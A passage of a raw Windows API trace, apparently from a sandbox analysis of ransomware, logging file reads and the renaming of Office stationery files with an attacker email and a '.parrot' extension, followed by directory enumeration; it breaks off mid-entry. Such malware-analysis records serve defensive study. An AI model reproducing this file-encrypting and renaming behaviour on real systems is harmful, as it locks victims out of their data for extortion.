[0236.498] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0236.500] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.500] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfc7, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xfc7, lpOverlapped=0x0) returned 1 [0236.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0236.500] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0236.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0236.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0236.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0236.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0236.501] GetLastError () returned 0x0 [0236.501] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0236.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0236.501] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0236.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0236.501] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0236.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0236.501] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0236.502] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\jungle.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\jungle.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0236.504] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c14a0 | out: hHeap=0x5b0000) returned 1 [0236.504] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0236.504] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0236.506] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0236.506] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0236.507] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.507] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x201, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x201, lpOverlapped=0x0) returned 1 [0236.507] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.507] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\jungle.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.HTM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\jungle.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0236.510] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c14a0 | out: hHeap=0x5b0000) returned 1 [0236.510] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0236.510] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0236.511] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0236.512] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0236.512] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.512] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ed, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1ed, lpOverlapped=0x0) returned 1 [0236.513] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.513] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\notebook.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.HTM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\notebook.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0236.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c14a0 | out: hHeap=0x5b0000) returned 1 [0236.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0236.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cafe0 | out: hHeap=0x5b0000) returned 1 [0236.521] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0236.521] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0236.523] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.523] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb86, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb86, lpOverlapped=0x0) returned 1 [0236.523] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.524] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.JPG" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\notebook.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\notebook.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0236.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c14a0 | out: hHeap=0x5b0000) returned 1 [0236.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0236.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0236.528] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0236.528] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0236.530] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.530] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1202, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1202, lpOverlapped=0x0) returned 1 [0236.531] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.531] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\offisupp.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\offisupp.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0236.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c14a0 | out: hHeap=0x5b0000) returned 1 [0236.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0236.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0236.535] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0236.536] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0236.536] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.536] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d5, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1d5, lpOverlapped=0x0) returned 1 [0236.537] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.537] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\offisupp.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.HTM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\offisupp.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0236.588] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c14a0 | out: hHeap=0x5b0000) returned 1 [0236.588] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0236.588] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cafe0 | out: hHeap=0x5b0000) returned 1 [0236.591] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0236.591] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0236.601] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.601] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x45b, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x45b, lpOverlapped=0x0) returned 1 [0236.602] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.602] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pawprint.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pawprint.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0236.607] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c14a0 | out: hHeap=0x5b0000) returned 1 [0236.609] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0236.610] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0236.610] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.611] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1dc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1dc, lpOverlapped=0x0) returned 1 [0236.611] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.611] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pawprint.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.HTM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pawprint.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0236.617] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0236.618] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0236.618] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.619] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e9, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1e9, lpOverlapped=0x0) returned 1 [0236.619] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.619] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pinelumb.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.HTM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pinelumb.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0236.624] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0236.624] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0236.633] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.634] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf8d, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xf8d, lpOverlapped=0x0) returned 1 [0236.634] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.635] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.JPG" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pinelumb.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pinelumb.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0236.641] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0236.641] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0236.642] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.642] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1fd, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1fd, lpOverlapped=0x0) returned 1 [0236.643] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.643] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\seamarbl.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.HTM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\seamarbl.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0236.650] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0236.650] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0236.651] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.651] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1889, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1889, lpOverlapped=0x0) returned 1 [0236.652] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.652] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.JPG" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\seamarbl.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\seamarbl.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0236.660] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0236.660] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0236.661] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.661] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x81a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x81a, lpOverlapped=0x0) returned 1 [0236.662] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.662] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\techtool.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\techtool.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0236.668] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0236.668] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0236.669] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.669] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1da, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1da, lpOverlapped=0x0) returned 1 [0236.669] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.670] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\techtool.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.HTM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\techtool.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0236.675] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0236.675] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19136e00, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x19136e00, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.675] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x460d6f00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18efb960, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x1888, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENCY.GIF.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="CURREN~1.PAR")) returned 1 [0236.676] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0236.676] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.676] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19136e00, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x19136e00, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0236.676] FindNextFileW (in: hFindFile=0x600450, 